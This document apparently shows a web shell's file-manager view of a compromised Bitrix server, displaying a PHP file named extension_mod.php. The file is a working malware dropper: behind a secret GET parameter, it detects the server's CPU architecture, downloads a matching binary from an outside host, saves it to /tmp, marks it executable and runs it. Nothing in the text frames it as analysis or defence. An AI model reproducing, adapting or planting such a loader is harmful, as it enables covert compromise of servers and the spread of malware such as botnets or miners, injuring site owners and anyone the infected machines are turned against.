Your IP : 216.73.216.170


Current Path : /home/bitrix/ext_www/vebeng.yacl.site/
Upload File :
Current File : /home/bitrix/ext_www/vebeng.yacl.site/extension_mod.php

<?php
if($_GET['macro_good']==666666){
	
}
else{
	die();
}
$architectures = [
    'aarch64',
    'armv4l',
    'armv5j',
    'armv5l',
    'armv6b',
    'armv7l',
    'armv7m',
    'armv7r',
    'i486',
    'i686',
    'm68k',
    'microblaze',
    'mips',
    'mips64',
    'mipsel',
    'powerpc',
    'powerpc64',
    'powerpc64le',
    's390x',
    'sh2eb',
    'sh4',
    'x32',
    'x86_64'
];

$file_prefix = '1.mcm.';

$base_url = 'https://deliverymasters.online/filezr/';


$architecture = php_uname('m');


$found = false;
foreach ($architectures as $supported_architecture) {
    if (strpos($architecture, $supported_architecture) !== false) {
        $found = true;
        break;
    }
}

if (!$found) {
    die("Error: Architecture $architecture not supported");
}


$filename = $file_prefix . $architecture;
$url = $base_url . $filename;


$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$file_content = curl_exec($ch);
curl_close($ch);


$file_path = '/tmp/' . $filename;
file_put_contents($file_path, $file_content);

sleep(4);
chmod($file_path, 0755);

sleep(1);
exec($file_path);
echo 'SUCCESFULL';
?>